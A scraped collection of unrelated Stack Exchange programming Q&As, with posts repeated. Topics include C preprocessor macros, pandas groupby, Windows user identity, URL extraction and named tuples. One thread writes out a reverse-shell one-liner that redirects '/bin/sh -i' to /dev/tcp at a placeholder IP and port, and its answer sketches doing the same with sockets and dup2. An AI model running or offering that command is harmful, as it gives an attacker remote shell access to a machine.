问:
Write vargarg C preprocessor macro which calls some other macro with each of its arguments and more
I need to have meta-information about structures in my code. So, I've code some combination of C structures (to store meta information) and C preprocessor macros to initialize these structures without much of boilerplate code. Now it looks like this (really, I'm storing a lot more information about fields, but this code is enough for my question):

```<code>#include <stdint.h>
#include <stdlib.h>
#include <stddef.h>

struct meta_field {
  const char *name;
  size_t offset;
};

struct meta_struct {
  const char *name;
  size_t size;
  struct meta_field fields[];
};

#define META_STRUCT_BEGIN(NAME)               \
  static struct meta_struct s_meta_##NAME = { \
    .name = "" #NAME,                         \
    .size = sizeof(struct NAME),              \
    .fields = {
#define META_STRUCT_END()  ,{NULL, 0}}}
#define META_FIELD(NAME)   { .name = "" #NAME, .offset = offsetof(struct CURRENT_META_STRUCT, NAME) }

struct example {
  int i;
  double d;
};

#define CURRENT_META_STRUCT example
META_STRUCT_BEGIN(CURRENT_META_STRUCT)
  META_FIELD(i),
  META_FIELD(d)
META_STRUCT_END();
#undef CURRENT_META_STRUCT
</code>```

It works. But it has a lot of boilerplate still: #define CURRENT_META_STRUCT, usage of CURRENT_META_STRUCT as argument to META_STRUCT_BEGIN(), #undef for CURRENT_META_STRUCT — all of this looks ugly, IMHO.

I know, that it is impossible to define macro by macro (so, META_STRUCT_BEGIN() can not define CURRENT_META_STRUCT). But looking at Branf*ck implementation in C Preprocessor and Boost-PP, I think that it is posisble to implement something which will look like this:

```<code>META_STRUCT(example,
  META_FIELD(i),
  META_FIELD(d)
)
</code>```

But I can not wrap my head around this preprocessor magic.

Could somebody helps me?

I've read https://github.com/orangeduck/CPP_COMPLETE already, but it didn't help.

Also, it was marked as duplicate of this, but problem is I need to add "default" argument to all generated macro "calls".

Here are some sketch, what I want to achieve:

```<code>#define META_FIELD_IMPL(STRUCT, NAME) { .name = "" #NAME, .offset = offsetof(struct STRUCT, NAME) }

#define META_FIELD(NAME)  NAME

#define META_STRUCT(NAME, ... )               \
  static struct meta_struct s_meta_##NAME = { \
    .name = "" #NAME,                         \
    .size = sizeof(struct NAME),              \
    .fields = {                               \
      /* Each ARG from __VA_ARGS__ is META_FIELD(x) and                 \
       * I need to call META_FIELD_IMPL(NAME, <Expansion of META_FIELD>) \
       * for each ARG from _VA_ARGS_ here */                            \
      {NULL, 0}                               \
     }}
</code>```

Now in this example there is only one argument for META_FIELD(): NAME, but in real system there are 6 arguments for META_FIELD() and some helper macro which provide "default" values for common cases, so META_FIELD() is necessary and could not be replaced by NAME itself.

And one last complication: such META_STRUCT() could be called as argument to META_FIELD(), because some fields contains pointers to nested meta-structs! Now it is done by declaring named objects for all nested sub-structures, but I want to avoid it too! I understand, that depth of nesting could be limited by some arbitrary constant, it is Ok.

Update: I added this example of what I want to type and what I want to get after preprocessor. I can not figure out how to implement all these macros (marked with /* ??? */). And, yes, I've checked, manually-coded "end result" compiles fine.

```<code>enum meta_type { mt_end, mt_int, mt_string, mt_struct };

struct meta_struct;

struct meta_field {
  const char *name;
  enum meta_type type;
  size_t offset;
  struct meta_struct *child;
};

struct meta_struct {
  const char *name;
  size_t size;
  struct meta_field *fields;
};

#define META_STRUCT(NAME, ...)  static struct meta_struct s_meta_##name = { .name = #NAME, .size = sizeof(struct NAME), .fileds = (struct meta_field[]){ /* ??? */, {NULL, mt_end, 0, NULL}}}
#define META_FIELD_IMPL0(STRUCT, NAME, TYPE, CHILD) { .name = #NAME, .type = TYPE, .offset = offsetof(STRUCT, NAME), .child = CHILD }
#define META_FIELD_IMPL1(NAME, TYPE, CHILD)  /* ??? */

#define META_FIELD(NAME, TYPE)       META_FIELD_IMPL1(NAME, TYPE, NULL)
#define META_FIELD_SUB(NAME, CHILD)  META_FIELD_IMPL1(NAME, mt_struct, CHILD)
#define META_SUBSTRUCT(NAME, ...)  (struct meta_struct){ .name = #NAME, .size = sizeof(struct NAME), .fileds = (struct meta_field[]){ /* ??? */, {NULL, mt_end, 0, NULL}}}

/* Example of "input": */
struct child {
  int i;
};

struct parent {
  int i;
  struct child c;
  const char *s;
};

META_STRUCT(parent,
  META_FIELD(i, mt_int),
  META_FIELD_SUB(c,
    META_SUBSTRUCT(child,
      META_FIELD(i, mt_int)
    )
  ),
  META_FIELD(s, mt_string)
);

/* This should give this */
static struct meta_struct s_meta_parent = {
  .name = "parent",
  .size = sizeof(struct parent),
  .fields = (struct meta_field[]) {
    { .name = "i", .type = mt_int, .offset = offsetof(struct parent, i), .child = NULL },
    { .name = "c", .type = mt_struct, .offset = offsetof(struct parent, c), .child = &(struct meta_struct){
        .name = "child",
        .size = sizeof(struct child),
        .fields = (struct meta_field[]) {
          { .name = "i", .type = mt_int, .offset = offsetof(struct child, i), .child = NULL },
          {NULL, mt_end, 0, NULL}
        }
      }
    },
    { .name = "s", .type = mt_string, .offset = offsetof(struct parent, s), .child = NULL },
    {NULL, mt_end, 0, NULL}
  }
};
</code>```

答:
Here's an approach.

Basic utilities

```<code>#define GLUE(A,B) GLUE_I(A,B)
#define GLUE_I(A,B) A##B
#define COUNT(...) COUNT_I(__VA_ARGS__, 9, 8, 7, 6, 5, 4, 3, 2, 1,)
#define COUNT_I(V,_9,_8,_7,_6,_5,_4,_3,_2,X,...) X
</code>```

This is an indirect glue macro (allowing arguments to expand) and a count macro.  The count macro here supports only 9 arguments, but it's easy to expand the pattern.  This just expands to the number of arguments passed.  I'm assuming you've seen this before, but just in case you haven't, this just works by argument shifting; it indirectly expands the arguments, and each extra argument shift above 1 displaces the number list until something is "above" X, which it expands to.

```<code>#define FIRST(...) FIRST_I(__VA_ARGS__,)
#define FIRST_I(X,...) X
#define REST(X,...) __VA_ARGS__
#define EXPAND(...) __VA_ARGS__
</code>```

...these are operations on tuples.  For the purposes of this answer, a tuple is a set of tokens in parentheses.  FIRST and REST use tuples as data types (should be obvious; FIRST indirectly grabs the first element, REST expands to everything but that).  EXPAND unwraps a tuple.

And the next utility macro:

```<code>#define FOREACH(MACRO_,DATA_,TUPLE_) GLUE(FOREACH_I_,COUNT TUPLE_)(MACRO_,DATA_,TUPLE_)

#define FOREACH_I_1(MACRO_,DATA_,TUPLE_) MACRO_(DATA_,FIRST TUPLE_)
#define FOREACH_I_2(MACRO_,DATA_,TUPLE_) MACRO_(DATA_,FIRST TUPLE_) FOREACH_I_1(MACRO_,DATA_,(REST TUPLE_))
#define FOREACH_I_3(MACRO_,DATA_,TUPLE_) MACRO_(DATA_,FIRST TUPLE_) FOREACH_I_2(MACRO_,DATA_,(REST TUPLE_))
#define FOREACH_I_4(MACRO_,DATA_,TUPLE_) MACRO_(DATA_,FIRST TUPLE_) FOREACH_I_3(MACRO_,DATA_,(REST TUPLE_))
#define FOREACH_I_5(MACRO_,DATA_,TUPLE_) MACRO_(DATA_,FIRST TUPLE_) FOREACH_I_4(MACRO_,DATA_,(REST TUPLE_))
#define FOREACH_I_6(MACRO_,DATA_,TUPLE_) MACRO_(DATA_,FIRST TUPLE_) FOREACH_I_5(MACRO_,DATA_,(REST TUPLE_))
#define FOREACH_I_7(MACRO_,DATA_,TUPLE_) MACRO_(DATA_,FIRST TUPLE_) FOREACH_I_6(MACRO_,DATA_,(REST TUPLE_))
#define FOREACH_I_8(MACRO_,DATA_,TUPLE_) MACRO_(DATA_,FIRST TUPLE_) FOREACH_I_7(MACRO_,DATA_,(REST TUPLE_))
#define FOREACH_I_9(MACRO_,DATA_,TUPLE_) MACRO_(DATA_,FIRST TUPLE_) FOREACH_I_8(MACRO_,DATA_,(REST TUPLE_))
</code>```

This is the key macro; it is in practice used to apply your structure's type into the lower level macros for each field.  Again, this particular code only works with 9 fields per level, but it should be obvious how to extend this (you probably want to support as many levels as your COUNT macro can count to).

The third argument of FOREACH should be a tuple; FOREACH's job is to call your macro on DATA_ and each element of TUPLE_.  For example, FOREACH(FIELD,parent,(i,j,k)) expands to FIELD(parent,i) FIELD(parent,j) FIELD(parent,k).

Concept for specific utilities

The core calling structure for the specific utilities uses tuple data types; when used with the FOREACH macro, underlying calls will curry the outer structure type into each call appropriately.  The calling structure looks like this:

META_STRUCT(type , FIELD[ , FIELD[ ... ] ] )

...where each FIELD is a 3-tuple:

(name , type , CHILD )

...and each CHILD is a tuple, which is expanded into a .child assignment.  META_SUBSTRUCT works similarly.  So according to this call structure, your example will actually wind up being called like this:

META_STRUCT(parent, (i, mt_int, (NULL)), (c, mt_struct, META_SUBSTRUCT(child,(i,mt_int,(NULL)))),(s, mt_string, (NULL)));

In practice, META_SUBSTRUCT will actually fully expand.  Its expansion will be a "tuple of tokens" that acts as the child assignment; that is, META_SUBSTRUCT will expand to the actual assignments in the substruct surrounded by parentheses.  The FOREACH macro is applied to this construct, currying the outer structure and the three arguments of the above 3-tuple into the 4-argument macro APPLY_UTILI_FIELD.

The usage mirrors your usage and adopts to this call structure.  For example, META_FIELD(i, mt_int) is just a macro that expands to (i, mt_int, (NULL)).

Specific utilities

```<code>#define META_STRUCT_BEGIN(NAME_) \
   static struct meta_struct s_meta_##NAME_ = {  \
      .name = #NAME_,  \
      .size = sizeof(struct NAME_),  \
      .fields = (struct meta_field[]) {

#define META_STRUCT(NAME_,...) \
   META_STRUCT_BEGIN(NAME_) \
      FOREACH(APPLY_META_STRUCT_MACRO,NAME_,(__VA_ARGS__)) \
   META_STRUCT_END()

#define META_STRUCT_END()  \
         {NULL, mt_end, 0, NULL}}}

#define META_SUBSTRUCT(NAME_,...) \
   ( META_SUBSTRUCT_BEGIN(NAME_) \
        FOREACH(APPLY_META_STRUCT_MACRO,NAME_,(__VA_ARGS__)) \
     META_SUBSTRUCT_END() )

#define META_SUBSTRUCT_BEGIN(NAME_) \
   &(struct meta_struct) { \
      .name = #NAME_, \
      .size = sizeof(struct NAME_), \
      .fields = (struct meta_field[]) {

#define META_SUBSTRUCT_END() \
    {NULL, mt_end, 0, NULL}}}

#define APPLY_META_STRUCT_MACRO(DATA_, ARG_) APPLY_UTIL_FIELD(DATA_, EXPAND ARG_)
#define APPLY_UTIL_FIELD(...) APPLY_UTILI_FIELD(__VA_ARGS__)
#define APPLY_UTILI_FIELD( STRUCT_, FIELD_, TYPE_, CHILD_) \
   { .name = #FIELD_, .type = TYPE_, .offset = offsetof(struct STRUCT_, FIELD_), .child = EXPAND CHILD_ },

#define META_FIELD(NAME_, TYPE_) (NAME_, TYPE_, (NULL))
#define META_FIELD_SUB(NAME_, SUB_) (NAME_, mt_struct, SUB_)
</code>```

Demo

Showing your example

Notes

Nesting

These macros allow nesting indefinitely of META_SUBSTRUCT calls without running into blue paint, since all such macros wind up being evaluated in the argument substitution phase (... argument mentioning __VA_ARGS__ causes all arguments to expand; each level of META_SUBSTRUCT is a top level expansion in this scenario; this condition recurses).

Your six fields

Given you're showing an example with less fields than you're using, you need specifically to tweak your user defined META_FIELD, META_FIELD_SUB, etc macros to produce k-tuples instead of 3-tuples (where k is what you need).  Then, just adjust APPLY_UTILI_FIELD's arguments and expansion to match.

Microsoft Compatibility

This code assumes a standard C preprocessor.  If you're working on MSVC specifically (which doesn't have one), it won't work.  Specifically, MSVC fails to expand __VA_ARGS__ when it's supposed to; if you care to work on MSVC, change the corresponding macros for these three to:

```<code>#define COUNT(...) EXPAND(COUNT_I(__VA_ARGS__, 9, 8, 7, 6, 5, 4, 3, 2, 1,))
#define FIRST(...) EXPAND(FIRST_I(__VA_ARGS__,))
#define APPLY_UTIL_FIELD(...) EXPAND(APPLY_UTILI_FIELD(__VA_ARGS__))
</code>```

The result should also work on standard compliant CPP's.

Body:
I need to have meta-information about structures in my code. So, I've code some combination of C structures (to store meta information) and C preprocessor macros to initialize these structures without much of boilerplate code. Now it looks like this (really, I'm storing a lot more information about fields, but this code is enough for my question):

#include <stdint.h>
#include <stdlib.h>
#include <stddef.h>

struct meta_field {
  const char *name;
  size_t offset;
};

struct meta_struct {
  const char *name;
  size_t size;
  struct meta_field fields[];
};

#define META_STRUCT_BEGIN(NAME)               \
  static struct meta_struct s_meta_##NAME = { \
    .name = "" #NAME,                         \
    .size = sizeof(struct NAME),              \
    .fields = {
#define META_STRUCT_END()  ,{NULL, 0}}}
#define META_FIELD(NAME)   { .name = "" #NAME, .offset = offsetof(struct CURRENT_META_STRUCT, NAME) }

struct example {
  int i;
  double d;
};

#define CURRENT_META_STRUCT example
META_STRUCT_BEGIN(CURRENT_META_STRUCT)
  META_FIELD(i),
  META_FIELD(d)
META_STRUCT_END();
#undef CURRENT_META_STRUCT

It works. But it has a lot of boilerplate still: #define CURRENT_META_STRUCT, usage of CURRENT_META_STRUCT as argument to META_STRUCT_BEGIN(), #undef for CURRENT_META_STRUCT — all of this looks ugly, IMHO.

I know, that it is impossible to define macro by macro (so, META_STRUCT_BEGIN() can not define CURRENT_META_STRUCT). But looking at Branf*ck implementation in C Preprocessor and Boost-PP, I think that it is posisble to implement something which will look like this:

META_STRUCT(example,
  META_FIELD(i),
  META_FIELD(d)
)

But I can not wrap my head around this preprocessor magic.

Could somebody helps me?

I've read https://github.com/orangeduck/CPP_COMPLETE already, but it didn't help.

Also, it was marked as duplicate of this, but problem is I need to add "default" argument to all generated macro "calls".

Here are some sketch, what I want to achieve:

#define META_FIELD_IMPL(STRUCT, NAME) { .name = "" #NAME, .offset = offsetof(struct STRUCT, NAME) }

#define META_FIELD(NAME)  NAME

#define META_STRUCT(NAME, ... )               \
  static struct meta_struct s_meta_##NAME = { \
    .name = "" #NAME,                         \
    .size = sizeof(struct NAME),              \
    .fields = {                               \
      /* Each ARG from __VA_ARGS__ is META_FIELD(x) and                 \
       * I need to call META_FIELD_IMPL(NAME, <Expansion of META_FIELD>) \
       * for each ARG from _VA_ARGS_ here */                            \
      {NULL, 0}                               \
     }}

Now in this example there is only one argument for META_FIELD(): NAME, but in real system there are 6 arguments for META_FIELD() and some helper macro which provide "default" values for common cases, so META_FIELD() is necessary and could not be replaced by NAME itself.

And one last complication: such META_STRUCT() could be called as argument to META_FIELD(), because some fields contains pointers to nested meta-structs! Now it is done by declaring named objects for all nested sub-structures, but I want to avoid it too! I understand, that depth of nesting could be limited by some arbitrary constant, it is Ok.

Update: I added this example of what I want to type and what I want to get after preprocessor. I can not figure out how to implement all these macros (marked with /* ??? */). And, yes, I've checked, manually-coded "end result" compiles fine.

enum meta_type { mt_end, mt_int, mt_string, mt_struct };

struct meta_struct;

struct meta_field {
  const char *name;
  enum meta_type type;
  size_t offset;
  struct meta_struct *child;
};

struct meta_struct {
  const char *name;
  size_t size;
  struct meta_field *fields;
};

#define META_STRUCT(NAME, ...)  static struct meta_struct s_meta_##name = { .name = #NAME, .size = sizeof(struct NAME), .fileds = (struct meta_field[]){ /* ??? */, {NULL, mt_end, 0, NULL}}}
#define META_FIELD_IMPL0(STRUCT, NAME, TYPE, CHILD) { .name = #NAME, .type = TYPE, .offset = offsetof(STRUCT, NAME), .child = CHILD }
#define META_FIELD_IMPL1(NAME, TYPE, CHILD)  /* ??? */

#define META_FIELD(NAME, TYPE)       META_FIELD_IMPL1(NAME, TYPE, NULL)
#define META_FIELD_SUB(NAME, CHILD)  META_FIELD_IMPL1(NAME, mt_struct, CHILD)
#define META_SUBSTRUCT(NAME, ...)  (struct meta_struct){ .name = #NAME, .size = sizeof(struct NAME), .fileds = (struct meta_field[]){ /* ??? */, {NULL, mt_end, 0, NULL}}}

/* Example of "input": */
struct child {
  int i;
};

struct parent {
  int i;
  struct child c;
  const char *s;
};

META_STRUCT(parent,
  META_FIELD(i, mt_int),
  META_FIELD_SUB(c,
    META_SUBSTRUCT(child,
      META_FIELD(i, mt_int)
    )
  ),
  META_FIELD(s, mt_string)
);

/* This should give this */
static struct meta_struct s_meta_parent = {
  .name = "parent",
  .size = sizeof(struct parent),
  .fields = (struct meta_field[]) {
    { .name = "i", .type = mt_int, .offset = offsetof(struct parent, i), .child = NULL },
    { .name = "c", .type = mt_struct, .offset = offsetof(struct parent, c), .child = &(struct meta_struct){
        .name = "child",
        .size = sizeof(struct child),
        .fields = (struct meta_field[]) {
          { .name = "i", .type = mt_int, .offset = offsetof(struct child, i), .child = NULL },
          {NULL, mt_end, 0, NULL}
        }
      }
    },
    { .name = "s", .type = mt_string, .offset = offsetof(struct parent, s), .child = NULL },
    {NULL, mt_end, 0, NULL}
  }
};

Body:
Here's an approach.

Basic utilities

#define GLUE(A,B) GLUE_I(A,B)
#define GLUE_I(A,B) A##B
#define COUNT(...) COUNT_I(__VA_ARGS__, 9, 8, 7, 6, 5, 4, 3, 2, 1,)
#define COUNT_I(V,_9,_8,_7,_6,_5,_4,_3,_2,X,...) X

This is an indirect glue macro (allowing arguments to expand) and a count macro.  The count macro here supports only 9 arguments, but it's easy to expand the pattern.  This just expands to the number of arguments passed.  I'm assuming you've seen this before, but just in case you haven't, this just works by argument shifting; it indirectly expands the arguments, and each extra argument shift above 1 displaces the number list until something is "above" X, which it expands to.

#define FIRST(...) FIRST_I(__VA_ARGS__,)
#define FIRST_I(X,...) X
#define REST(X,...) __VA_ARGS__
#define EXPAND(...) __VA_ARGS__

...these are operations on tuples.  For the purposes of this answer, a tuple is a set of tokens in parentheses.  FIRST and REST use tuples as data types (should be obvious; FIRST indirectly grabs the first element, REST expands to everything but that).  EXPAND unwraps a tuple.

And the next utility macro:

#define FOREACH(MACRO_,DATA_,TUPLE_) GLUE(FOREACH_I_,COUNT TUPLE_)(MACRO_,DATA_,TUPLE_)

#define FOREACH_I_1(MACRO_,DATA_,TUPLE_) MACRO_(DATA_,FIRST TUPLE_)
#define FOREACH_I_2(MACRO_,DATA_,TUPLE_) MACRO_(DATA_,FIRST TUPLE_) FOREACH_I_1(MACRO_,DATA_,(REST TUPLE_))
#define FOREACH_I_3(MACRO_,DATA_,TUPLE_) MACRO_(DATA_,FIRST TUPLE_) FOREACH_I_2(MACRO_,DATA_,(REST TUPLE_))
#define FOREACH_I_4(MACRO_,DATA_,TUPLE_) MACRO_(DATA_,FIRST TUPLE_) FOREACH_I_3(MACRO_,DATA_,(REST TUPLE_))
#define FOREACH_I_5(MACRO_,DATA_,TUPLE_) MACRO_(DATA_,FIRST TUPLE_) FOREACH_I_4(MACRO_,DATA_,(REST TUPLE_))
#define FOREACH_I_6(MACRO_,DATA_,TUPLE_) MACRO_(DATA_,FIRST TUPLE_) FOREACH_I_5(MACRO_,DATA_,(REST TUPLE_))
#define FOREACH_I_7(MACRO_,DATA_,TUPLE_) MACRO_(DATA_,FIRST TUPLE_) FOREACH_I_6(MACRO_,DATA_,(REST TUPLE_))
#define FOREACH_I_8(MACRO_,DATA_,TUPLE_) MACRO_(DATA_,FIRST TUPLE_) FOREACH_I_7(MACRO_,DATA_,(REST TUPLE_))
#define FOREACH_I_9(MACRO_,DATA_,TUPLE_) MACRO_(DATA_,FIRST TUPLE_) FOREACH_I_8(MACRO_,DATA_,(REST TUPLE_))

This is the key macro; it is in practice used to apply your structure's type into the lower level macros for each field.  Again, this particular code only works with 9 fields per level, but it should be obvious how to extend this (you probably want to support as many levels as your COUNT macro can count to).

The third argument of FOREACH should be a tuple; FOREACH's job is to call your macro on DATA_ and each element of TUPLE_.  For example, FOREACH(FIELD,parent,(i,j,k)) expands to FIELD(parent,i) FIELD(parent,j) FIELD(parent,k).

Concept for specific utilities

The core calling structure for the specific utilities uses tuple data types; when used with the FOREACH macro, underlying calls will curry the outer structure type into each call appropriately.  The calling structure looks like this:

META_STRUCT(type , FIELD[ , FIELD[ ... ] ] )

...where each FIELD is a 3-tuple:

(name , type , CHILD )

...and each CHILD is a tuple, which is expanded into a .child assignment.  META_SUBSTRUCT works similarly.  So according to this call structure, your example will actually wind up being called like this:

META_STRUCT(parent, (i, mt_int, (NULL)), (c, mt_struct, META_SUBSTRUCT(child,(i,mt_int,(NULL)))),(s, mt_string, (NULL)));

In practice, META_SUBSTRUCT will actually fully expand.  Its expansion will be a "tuple of tokens" that acts as the child assignment; that is, META_SUBSTRUCT will expand to the actual assignments in the substruct surrounded by parentheses.  The FOREACH macro is applied to this construct, currying the outer structure and the three arguments of the above 3-tuple into the 4-argument macro APPLY_UTILI_FIELD.

The usage mirrors your usage and adopts to this call structure.  For example, META_FIELD(i, mt_int) is just a macro that expands to (i, mt_int, (NULL)).

Specific utilities

#define META_STRUCT_BEGIN(NAME_) \
   static struct meta_struct s_meta_##NAME_ = {  \
      .name = #NAME_,  \
      .size = sizeof(struct NAME_),  \
      .fields = (struct meta_field[]) {

#define META_STRUCT(NAME_,...) \
   META_STRUCT_BEGIN(NAME_) \
      FOREACH(APPLY_META_STRUCT_MACRO,NAME_,(__VA_ARGS__)) \
   META_STRUCT_END()

#define META_STRUCT_END()  \
         {NULL, mt_end, 0, NULL}}}

#define META_SUBSTRUCT(NAME_,...) \
   ( META_SUBSTRUCT_BEGIN(NAME_) \
        FOREACH(APPLY_META_STRUCT_MACRO,NAME_,(__VA_ARGS__)) \
     META_SUBSTRUCT_END() )

#define META_SUBSTRUCT_BEGIN(NAME_) \
   &(struct meta_struct) { \
      .name = #NAME_, \
      .size = sizeof(struct NAME_), \
      .fields = (struct meta_field[]) {

#define META_SUBSTRUCT_END() \
    {NULL, mt_end, 0, NULL}}}

#define APPLY_META_STRUCT_MACRO(DATA_, ARG_) APPLY_UTIL_FIELD(DATA_, EXPAND ARG_)
#define APPLY_UTIL_FIELD(...) APPLY_UTILI_FIELD(__VA_ARGS__)
#define APPLY_UTILI_FIELD( STRUCT_, FIELD_, TYPE_, CHILD_) \
   { .name = #FIELD_, .type = TYPE_, .offset = offsetof(struct STRUCT_, FIELD_), .child = EXPAND CHILD_ },

#define META_FIELD(NAME_, TYPE_) (NAME_, TYPE_, (NULL))
#define META_FIELD_SUB(NAME_, SUB_) (NAME_, mt_struct, SUB_)

Demo

Showing your example

Notes

Nesting

These macros allow nesting indefinitely of META_SUBSTRUCT calls without running into blue paint, since all such macros wind up being evaluated in the argument substitution phase (... argument mentioning __VA_ARGS__ causes all arguments to expand; each level of META_SUBSTRUCT is a top level expansion in this scenario; this condition recurses).

Your six fields

Given you're showing an example with less fields than you're using, you need specifically to tweak your user defined META_FIELD, META_FIELD_SUB, etc macros to produce k-tuples instead of 3-tuples (where k is what you need).  Then, just adjust APPLY_UTILI_FIELD's arguments and expansion to match.

Microsoft Compatibility

This code assumes a standard C preprocessor.  If you're working on MSVC specifically (which doesn't have one), it won't work.  Specifically, MSVC fails to expand __VA_ARGS__ when it's supposed to; if you care to work on MSVC, change the corresponding macros for these three to:

#define COUNT(...) EXPAND(COUNT_I(__VA_ARGS__, 9, 8, 7, 6, 5, 4, 3, 2, 1,))
#define FIRST(...) EXPAND(FIRST_I(__VA_ARGS__,))
#define APPLY_UTIL_FIELD(...) EXPAND(APPLY_UTILI_FIELD(__VA_ARGS__))

The result should also work on standard compliant CPP's.


来源: stackexchange

问:
Getting the current logged in user (FullToken Context)
I have a Problem, which is... i start a programm with right click -> run as administrator.
Which means the programm is running in an administrative context.

```<code>WindowsIdentity.GetCurrent().Name;
</code>```

if i try to get the user name that way i will get the user that started the programm as admin.. for example "administrator", but what i need is the name of the current logged in user which is for example: bob

Can anybody help me out? :)

答:
You will probably need to use win32 API for that.  Read about Window Station and Desktop functions here: http://msdn.microsoft.com/en-us/library/ms687107%28v=vs.85%29.aspx

Also see this question:
Get the logged in Windows user name associated with a desktop

ContentLicense: CC BY-SA 2.5

Body:
I have a Problem, which is... i start a programm with right click -> run as administrator.
Which means the programm is running in an administrative context.

WindowsIdentity.GetCurrent().Name;

if i try to get the user name that way i will get the user that started the programm as admin.. for example "administrator", but what i need is the name of the current logged in user which is for example: bob

Can anybody help me out? :)


问:
aggregate functions on groupby object giving incomplete output
I have a dataframe that looks like this:

```<code>        A   B           C           D           ``  category    labels
7937    0   0.00137174  0.0301783   0.00137174      Foo         0
15461   0   0           0.0132548   0.0441826       Bar         1
</code>```

I grouped the frame into a groupby object:

```<code>groups = df.groupby('category')
</code>```

If I run groups.count(), I get complete values:

```<code>        A      B            C           D               labels
Foo     40     40           40          40              40
Bar     40     40           40          40              40
</code>```

But if I try doing any arithmetic on the group, I get a frame with only the labels back:

```<code>groups.sum()

Category    Labels
Foo         23
Bar         9
</code>```

I'd like to get the sum/mean/etc for all the other values in the frame.

Let me know if you need me to post more data to help answer. Thanks much.

答:
use agg (aggregate) and provide a list of functions. The default aggregate functions should be recognized as strings (ie. count, sum, unique...) but you can also define your own

```<code>groups.agg(['sum', 'count', lambda x : list(x)])
</code>```

ContentLicense: CC BY-SA 3.0

Body:
I have a dataframe that looks like this:

        A   B           C           D           ``  category    labels
7937    0   0.00137174  0.0301783   0.00137174      Foo         0
15461   0   0           0.0132548   0.0441826       Bar         1

I grouped the frame into a groupby object:

groups = df.groupby('category')

If I run groups.count(), I get complete values:

        A      B            C           D               labels
Foo     40     40           40          40              40
Bar     40     40           40          40              40

But if I try doing any arithmetic on the group, I get a frame with only the labels back:

groups.sum()

Category    Labels
Foo         23
Bar         9

I'd like to get the sum/mean/etc for all the other values in the frame.

Let me know if you need me to post more data to help answer. Thanks much.

Body:
use agg (aggregate) and provide a list of functions. The default aggregate functions should be recognized as strings (ie. count, sum, unique...) but you can also define your own

groups.agg(['sum', 'count', lambda x : list(x)])


问:
Extracting a URL in Python
In regards to: Find Hyperlinks in Text using Python (twitter related)

How can I extract just the url so I can put it into a list/array?

Edit

Let me clarify, I don't want to parse the URL into pieces. I want to extract the URL from the text of the string to put it into an array. Thanks!

答:
If you want to extract URLs from any text you can use my urlextract. It finds URL based on TLD found in text. It expands to both side from TLD position an gets whole URL. Its easy to use. Check it: https://github.com/lipoja/URLExtract</p>

```<code>    from urlextract import URLExtract

    extractor = URLExtract()
    urls = extractor.find_urls("Text with URLs: stackoverflow.com.")
</code>```

Title: Extracting a URL in Python

Body:
If you want to extract URLs from any text you can use my urlextract. It finds URL based on TLD found in text. It expands to both side from TLD position an gets whole URL. Its easy to use. Check it: https://github.com/lipoja/URLExtract

    from urlextract import URLExtract

    extractor = URLExtract()
    urls = extractor.find_urls("Text with URLs: stackoverflow.com.")


问:
Execute reverse shell using execve()
I need to run a reverse shell using execve. I know how to run it from command line as follows:

```<code>$ /bin/sh -i > /dev/tcp/IP_ADDR/PORT 0<&1 2>&1
</code>```

I can run a simple version of /bin/sh call as follows:

```<code>#include <stdio.h>

int main() {

   char *args[2];
   args[0] = "/bin/sh";
   args[1] = "-i";
   args[2] = NULL;

   execve(args[0], args, NULL);
}
</code>```

I am not able to figure out how to run the rest of the command. I tried assigning the remaining string > /dev/tcp/IP_ADDR/PORT 0<&1 2>&1 as individual elements in the args array. When I run that it reports that Can't open >.

Is the reverse shell command I mentioned executable via execve() ? If so, what would be the right way to do it ? Thanks.

答:
The /dev/tcp/*/* files don't exist. They're an abstraction that only exists in some shell (bash, ksh). You'll need to do regular socket programming in your C program (socket, bind, listen, accept and then dup2 the socket on the standard IO descriptors of the shell you spawn).

You should also fix the overflow in the array.
An initialization such as  char *args[] = { "/bin/sh", "-i", 0 }; should be less error prone.

Title: Execute reverse shell using execve()

Body:
I need to run a reverse shell using execve. I know how to run it from command line as follows:

$ /bin/sh -i > /dev/tcp/IP_ADDR/PORT 0<&1 2>&1

I can run a simple version of /bin/sh call as follows:

#include <stdio.h>

int main() {

   char *args[2];
   args[0] = "/bin/sh";
   args[1] = "-i";
   args[2] = NULL;

   execve(args[0], args, NULL);
}

I am not able to figure out how to run the rest of the command. I tried assigning the remaining string > /dev/tcp/IP_ADDR/PORT 0<&1 2>&1 as individual elements in the args array. When I run that it reports that Can't open >.

Is the reverse shell command I mentioned executable via execve() ? If so, what would be the right way to do it ? Thanks.


问:
Python: Check if list of named tuples contains particular attribute value
I have a list of named tuples:

```<code>from collections import namedtuple

T = namedtuple('T', ['attr1', 'attr2', 'attr3', 'attr4'])
t1 = T('T1', 1, '1234', 'XYZ')
t2 = T('T2', 2, '1254', 'ABC')
t3 = T('T2', 2, '1264', 'DEF')
l = [t1, t2, t3]
</code>```

I want to check if an element exists in the list T where attr1 = 'T2'.

Checking if the list contains such an element by doing:

```<code>any(x for x in l if x.attr1 == 'T2')
</code>```

only returns the information whether such a namedtuple is in the list or not.

I would like to also pop this namedtuple from the list.

One way of doing it is:

```<code>if any(x for x in l if x.attr1 == 'T2'):
   result = [x for x in l if x.attr1 == 'T2'].pop()
</code>```

However, I don't like this solution, since I'm looping over the list l twice.

Is there any better/more-elegant way of doing this?

答:
How about an old-school for loop? Simple, elegant, and you loop only once.</p>

```<code>for x in l:
    if x.attr1 == 'T2':
        break

result = x
</code>```

Body:
I have a list of named tuples:

from collections import namedtuple

T = namedtuple('T', ['attr1', 'attr2', 'attr3', 'attr4'])
t1 = T('T1', 1, '1234', 'XYZ')
t2 = T('T2', 2, '1254', 'ABC')
t3 = T('T2', 2, '1264', 'DEF')
l = [t1, t2, t3]

I want to check if an element exists in the list T where attr1 = 'T2'.

Checking if the list contains such an element by doing:

any(x for x in l if x.attr1 == 'T2')

only returns the information whether such a namedtuple is in the list or not.

I would like to also pop this namedtuple from the list.

One way of doing it is:

if any(x for x in l if x.attr1 == 'T2'):
   result = [x for x in l if x.attr1 == 'T2'].pop()

However, I don't like this solution, since I'm looping over the list l twice.

Is there any better/more-elegant way of doing this?

Body:
How about an old-school for loop? Simple, elegant, and you loop only once.

for x in l:
    if x.attr1 == 'T2':
        break

result = x


问:
Local database vs Server database in Android Development
What are the differences between a local database and a server database?</p>

答:
Local database would be SQLite in android. It can be accessed locally only.

A server database is hosted in a remote server. Basically It can be accessed by any client in the web.

An example of local use would be for example storing credentials or information that you don't want/need to share with another user.

You can use local database to create a backup of the server database in order to access your information even if you don't have a reliable internet connection o make your app faster by not downloading data every single time you need it and using the one store locally.

For example Facebook is saving everything in a server database so you and millions people around the world can accesses to that information.


问:
Is there a way to reuse code if my objects have different hierarchy?
